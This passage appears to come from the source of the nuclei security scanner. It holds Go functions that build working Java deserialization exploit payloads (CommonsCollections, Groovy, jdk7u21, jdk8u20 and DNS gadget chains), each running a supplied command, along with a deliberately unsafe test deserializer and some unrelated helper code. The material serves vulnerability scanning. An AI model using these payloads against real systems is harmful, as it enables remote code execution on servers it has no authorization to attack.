36F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000017672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870770400000003737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000171007E002978\")\n\tbuffer.Write(suffix)\n\n\treturn buffer.Bytes()\n}\n\n// generateCommonsCollections440PPayload generates commons-collections 3.1\n// deserialization payload for a command.\nfunc generateCommonsCollections31Payload(cmd string) []byte {\n\tbuffer := &bytes.Buffer{}\n\n\tprefix, _ := hex.DecodeString(\"ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B787074002668747470733A2F2F6769746875622E636F6D2F6A6F616F6D61746F73662F6A6578626F7373207372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400\")\n\tbuffer.Write(prefix)\n\tbuffer.WriteString(string(rune(len(cmd))))\n\tbuffer.WriteString(cmd)\n\tsuffix, _ := hex.DecodeString(\"740004657865637571007E001B0000000171007E00207371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878\")\n\tbuffer.Write(suffix)\n\n\treturn buffer.Bytes()\n}\n\n// generateGroovy1Payload generates org.codehaus.groovy:groovy:2.3.9\n// deserialization payload for a command.\nfunc generateGroovy1Payload(cmd string) []byte {\n\tbuffer := &bytes.Buffer{}\n\n\tprefix, _ := hex.DecodeString(\"ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002C6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E766572746564436C6F7375726510233719F715DD1B0200014C000A6D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B7872002D6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E76657273696F6E48616E646C65721023371AD601BC1B0200024C000864656C65676174657400124C6A6176612F6C616E672F4F626A6563743B4C000B68616E646C6543616368657400284C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D61703B7870737200296F72672E636F6465686175732E67726F6F76792E72756E74696D652E4D6574686F64436C6F73757265110E3E848FBDCE480200014C00066D6574686F6471007E00097872001367726F6F76792E6C616E672E436C6F737572653CA0C76616126C5A0200084900096469726563746976654900196D6178696D756D4E756D6265724F66506172616D657465727349000F7265736F6C766553747261746567794C000362637774003C4C6F72672F636F6465686175732F67726F6F76792F72756E74696D652F63616C6C736974652F426F6F6C65616E436C6F73757265577261707065723B4C000864656C656761746571007E000B4C00056F776E657271007E000B5B000E706172616D6574657254797065737400125B4C6A6176612F6C616E672F436C6173733B4C000A746869734F626A65637471007E000B7870000000000000000200000000707400\")\n\tbuffer.Write(prefix)\n\tbuffer.WriteString(string(rune(len(cmd))))\n\tbuffer.WriteString(cmd)\n\tsuffix, _ := hex.DecodeString(\"71007E0013757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078707672000C6A6176612E696F2E46696C65042DA4450E0DE4FF0300014C00047061746871007E000978707074000765786563757465737200266A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D61706499DE129D87293D03000349000B7365676D656E744D61736B49000C7365676D656E7453686966745B00087365676D656E74737400315B4C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D6170245365676D656E743B78700000000F0000001C757200315B4C6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E743B52773F41329B39740200007870000000107372002E6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E741F364C905893293D02000146000A6C6F6164466163746F72787200286A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B6655A82C2CC86AEB0200014C000473796E6374002F4C6A6176612F7574696C2F636F6E63757272656E742F6C6F636B732F5265656E7472616E744C6F636B2453796E633B7870737200346A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B244E6F6E6661697253796E63658832E7537BBF0B0200007872002D6A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B2453796E63B81EA294AA445A7C020000787200356A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E416273747261637451756575656453796E6368726F6E697A65726655A843753F52E30200014900057374617465787200366A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E41627374726163744F776E61626C6553796E6368726F6E697A657233DFAFB9AD6D6FA90200007870000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F400000707078740008656E747279536574767200126A6176612E6C616E672E4F7665727269646500000000000000000000007870\")\n\tbuffer.Write(suffix)\n\n\treturn buffer.Bytes()\n}\n\n// generateDNSPayload generates DNS interaction deserialization payload for a DNS Name.\n// Taken from ysoserial DNS gadget.\nfunc generateDNSPayload(URL string) []byte {\n\tparsed, err := url.Parse(URL)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tbuffer := &bytes.Buffer{}\n\thostname := parsed.Hostname()\n\n\tprefix, _ := hex.DecodeString(\"ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF7400\")\n\tbuffer.Write(prefix)\n\n\tbuffer.WriteString(string(rune(len(hostname))))\n\tbuffer.WriteString(hostname)\n\n\tmiddle, _ := hex.DecodeString(\"74000071007E0005740004\")\n\tbuffer.Write(middle)\n\tbuffer.WriteString(parsed.Scheme)\n\n\tmiddle, _ = hex.DecodeString(\"70787400\")\n\tbuffer.Write(middle)\n\tbuffer.WriteString(string(rune(len(URL))))\n\tbuffer.WriteString(URL)\n\n\tsuffix, _ := hex.DecodeString(\"78\")\n\tbuffer.Write(suffix)\n\treturn buffer.Bytes()\n}\n\n// generatejdk7u21Payload generates deserialization payload for jdk7.\n// improved from frohoff version\nfunc generatejdk7u21Payload(url string) []byte {\n\tbuffer := &bytes.Buffer{}\n\n\tprefix, _ := hex.DecodeString(\"ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000849000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF0070757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006\")\n\tbuffer.Write(prefix)\n\tbuffer.WriteString(string(rune(len(url) + 131)))\n\tmiddle, _ := hex.DecodeString(\"CAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100\")\n\tbuffer.Write(middle)\n\tbuffer.WriteString(url)\n\tsuffix, _ := hex.DecodeString(\"08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401002179736F73657269616C2F4A6578426F7373323631343139333134303837383735390100234C79736F73657269616C2F4A6578426F7373323631343139333134303837383735393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E000C000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C617465730000000000000000000000787078\")\n\tbuffer.Write(suffix)\n\n\treturn buffer.Bytes()\n}\n\n// generatejdk8u20Payload generates deserialization payload for jdk8.\n// improved from Alvaro (pwntester) version\nfunc generatejdk8u20Payload(url string) []byte {\n\tbuffer := &bytes.Buffer{}\n\n\tprefix, _ := hex.DecodeString(\"ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000949000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C00195F61636365737345787465726E616C5374796C6573686565747400124C6A6176612F6C616E672F537472696E673B4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF00740003616C6C70757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006\")\n\tbuffer.Write(prefix)\n\tbuffer.WriteString(string(rune(len(url) + 147)))\n\tmiddle, _ := hex.DecodeString(\"CAFEBABE00000031003A0A0003002407003807002707002801001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100224C7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700290100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B0100236F72672E6E65746265616E732E536F757263654C6576656C416E6E6F746174696F6E730100144C6A6176612F6C616E672F4F766572726964653B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002A0100207574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01000C7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002C01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002E002F0A002D00300100\")\n\tbuffer.Write(middle)\n\tbuffer.WriteString(url)\n\tsuffix, _ := hex.DecodeString(\"08003201000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003400350A002D003601002179736F73657269616C2F4A6578426F7373323434393535333834303536333337380100234C79736F73657269616C2F4A6578426F7373323434393535333834303536333337383B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000001C000E0000000C000100000005000F003900000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000001F000E00000020000300000001000F0039000000000001001500160001000000010017001800020019000000040001001A00010013001B0003000C000000490000000400000001B100000002000D00000006000100000022000E0000002A000400000001000F003900000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A0020000000060001002100000008002B000B0001000C0000001B000300020000000FA70003014CB800311233B6003757B1000000000002002200000002002300110000000A000100020025001000097571007E000D0000019BCAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100124C7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A0100107574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501000C7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000026000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200024C000564756D6D797400124C6A6176612F6C616E672F4F626A6563743B4C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B7870737200296A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E74657874537570706F7274BC4820F0918FB90C03000149000C73657269616C697A61626C657872002E6A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E746578744368696C64537570706F727457D4EFC704DC72250200014C00146265616E436F6E746578744368696C64506565727400294C6A6176612F6265616E732F6265616E636F6E746578742F4265616E436F6E746578744368696C643B787071007E0019000000017372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50300024C0004747970657400114C6A6176612F6C616E672F436C6173733B4C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B78707672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787704000000007871007E001D78\")\n\tbuffer.Write(suffix)\n\n\treturn buffer.Bytes()\n}\n"
  },
  {
    "path": "pkg/protocols/common/helpers/deserialization/testdata/Deserialize.java",
    "content": "import java.io.*;\n\nclass Deserialize {  \n    public static void main(String args[]) {\n        FileInputStream fileIn = null;\n        ObjectInputStream in = null;\n        ValueObject vo2 = null;\n\n        try {\n            fileIn = new FileInputStream(\"ValueObject2.ser\");\n        }\n        catch(FileNotFoundException e) {\n            e.printStackTrace();\n        }\n\n       try {\n            in = new ObjectInputStream(fileIn);\n        }\n        catch(IOException e) {\n            e.printStackTrace();\n        }\n        try {\n            vo2 = (ValueObject) in.readObject();\n        }\n        catch(Exception e) {\n            e.printStackTrace();\n        }\n        System.out.println(vo2);\n    }\n}"
  },
  {
    "path": "pkg/protocols/common/helpers/deserialization/testdata/README.md",
    "content": "# testdata\n\n### Test Unsafe Java Deserialization\n\n```\njavac Deserialize.java ValueObject.java\n# generate payload and write to ValueObject2.ser\njava Deserialize\n```\n\nModified From: https://snyk.io/blog/serialization-and-deserialization-in-java/"
  },
  {
    "path": "pkg/protocols/common/helpers/deserialization/testdata/ValueObject.java",
    "content": "import java.io.*;\n\npublic class ValueObject implements Serializable {\n   private String value;\n   private String sideEffect;\n\n   public ValueObject() {\n       this(\"empty\");\n   }\n\n   public ValueObject(String value) {\n       this.value = value;\n       this.sideEffect = java.time.LocalTime.now().toString();\n   }\n}\n"
  },
  {
    "path": "pkg/protocols/common/helpers/eventcreator/eventcreator.go",
    "content": "package eventcreator\n\nimport (\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"golang.org/x/text/cases\"\n\t\"golang.org/x/text/language\"\n)\n\n// CreateEvent wraps the outputEvent with the result of the operators defined on the request\nfunc CreateEvent(request protocols.Request, outputEvent output.InternalEvent, isResponseDebug bool) *output.InternalWrappedEvent {\n\treturn CreateEventWithAdditionalOptions(request, outputEvent, isResponseDebug, nil)\n}\n\n// CreateEventWithAdditionalOptions wraps the outputEvent with the result of the operators defined on the request\n// and enables extending the resulting event with additional attributes or values.\nfunc CreateEventWithAdditionalOptions(request protocols.Request, outputEvent output.InternalEvent, isResponseDebug bool,\n\taddAdditionalOptions func(internalWrappedEvent *output.InternalWrappedEvent)) *output.InternalWrappedEvent {\n\tevent := &output.InternalWrappedEvent{InternalEvent: outputEvent}\n\n\t// Dump response variables if ran in debug mode\n\tif vardump.EnableVarDump {\n\t\tprotoName := cases.Title(language.English).String(request.Type().String())\n\t\tgologger.Debug().Msgf(\"%v Protocol response variables: %s\\n\", protoName, vardump.DumpVariables(outputEvent))\n\t}\n\tfor _, compiledOperator := range request.GetCompiledOperators() {\n\t\tif compiledOperator != nil {\n\t\t\tresult, ok := compiledOperator.Execute(outputEvent, request.Match, request.Extract, isResponseDebug)\n\t\t\tif ok && result != nil {\n\t\t\t\t// if result has both extracted values and dynamic values, put dynamic values in data\n\t\t\t\t// and remove dynamic values to avoid skipping legitimate event\n\t\t\t\tif (len(result.Extracts) > 0 || len(result.OutputExtracts) > 0) && len(result.DynamicValues) > 0 {\n\t\t\t\t\tfor k, v := range result.DynamicValues {\n\t\t\t\t\t\tevent.InternalEvent[k] = v\n\t\t\t\t\t}\n\t\t\t\t\tresult.DynamicValues = nil\n\t\t\t\t}\n\t\t\t\tevent.OperatorsResult = result\n\t\t\t\tif addAdditionalOptions != nil {\n\t\t\t\t\taddAdditionalOptions(event)\n\t\t\t\t}\n\t\t\t\tevent.Results = append(event.Results, request.MakeResultEvent(event)...)\n\t\t\t}\n\t\t}\n\t}\n\treturn event\n}\n\nfunc CreateEventWithOperatorResults(request protocols.Request, internalEvent output.InternalEvent, operatorResult *operators.Result) *output.InternalWrappedEvent {\n\tevent := &output.InternalWrappedEvent{InternalEvent: internalEvent}\n\tevent.OperatorsResult = operatorResult\n\tevent.Results = append(event.Results, request.MakeResultEvent(event)...)\n\treturn event\n}\n"
  },
  {
    "path": "pkg/protocols/common/helpers/responsehighlighter/hexdump.go",
    "content": "package responsehighlighter\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\t\"unicode\"\n\n\t\"github.com/projectdiscovery/gologger\"\n)\n\n// [0-9a-fA-F]{8} {2} \t- hexdump indexes (8 character hex value followed by two spaces)\n// [0-9a-fA-F]{2} + \t- 2 character long hex values followed by one or two space (potentially wrapped with an ASCII color code, see below)\n// \\x1b\\[(\\d;?)+m \t\t- ASCII color code pattern\n// \\x1b\\[0m   \t  \t\t- ASCII color code reset\n// \\|(.*)\\|\\n\t\t\t- ASCII representation of the input delimited by pipe characters\nvar hexDumpParsePattern = regexp.MustCompile(`([0-9a-fA-F]{8} {2})((?:(?:\\x1b\\[(?:\\d;?)+m)?[0-9a-fA-F]{2}(?:\\x1b\\[0m)? +)+)\\|(.*)\\|\\n`)\nvar hexValuePattern = regexp.MustCompile(`([a-fA-F0-9]{2})`)\n\ntype HighlightableHexDump struct {\n\tindex []string\n\thex   []string\n\tascii []string\n}\n\nfunc NewHighlightableHexDump(rowSize int) HighlightableHexDump {\n\treturn HighlightableHexDump{index: make([]string, 0, rowSize), hex: make([]string, 0, rowSize), ascii: make([]string, 0, rowSize)}\n}\n\nfunc (hexDump HighlightableHexDump) len() int {\n\treturn len(hexDump.index)\n}\n\nfunc (hexDump HighlightableHexDump) String() string {\n\tvar result string\n\tfor i := 0; i < hexDump.len(); i++ {\n\t\tresult += hexDump.index[i] + hexDump.hex[i] + \"|\" + hexDump.ascii[i] + \"|\\n\"\n\t}\n\treturn result\n}\n\nfunc toHighLightedHexDump(hexDump, snippetToHighlight string) (HighlightableHexDump, error) {\n\thexDumpRowValues := hexDumpParsePattern.FindAllStringSubmatch(hexDump, -1)\n\tif hexDumpRowValues == nil || len(hexDumpRowValues) != strings.Count(hexDump, \"\\n\") {\n\t\tmessage := \"could not parse hexdump\"\n\t\tgologger.Warning().Msg(message)\n\n\t\treturn HighlightableHexDump{}, errors.New(message)\n\t}\n\n\tresult := NewHighlightableHexDump(len(hexDumpRowValues))\n\tfor _, currentHexDumpRowValues := range hexDumpRowValues {\n\t\tresult.index = append(result.index, currentHexDumpRowValues[1])\n\t\tresult.hex = append(result.hex, currentHexDumpRowValues[2])\n\t\tresult.ascii = append(result.ascii, currentHexDumpRowValues[3])\n\t}\n\treturn result.highlight(snippetToHighlight), nil\n}\n\nfunc (hexDump HighlightableHexDump) highlight(snippetToColor string) HighlightableHexDump {\n\treturn highlightAsciiSection(highlightHexSection(hexDump, snippetToColor), snippetToColor)\n}\n\nfunc highlightHexSection(hexDump HighlightableHexDump, snippetToColor string) HighlightableHexDump {\n\tvar snippetHexCharactersMatchPattern string\n\tfor _, char := range 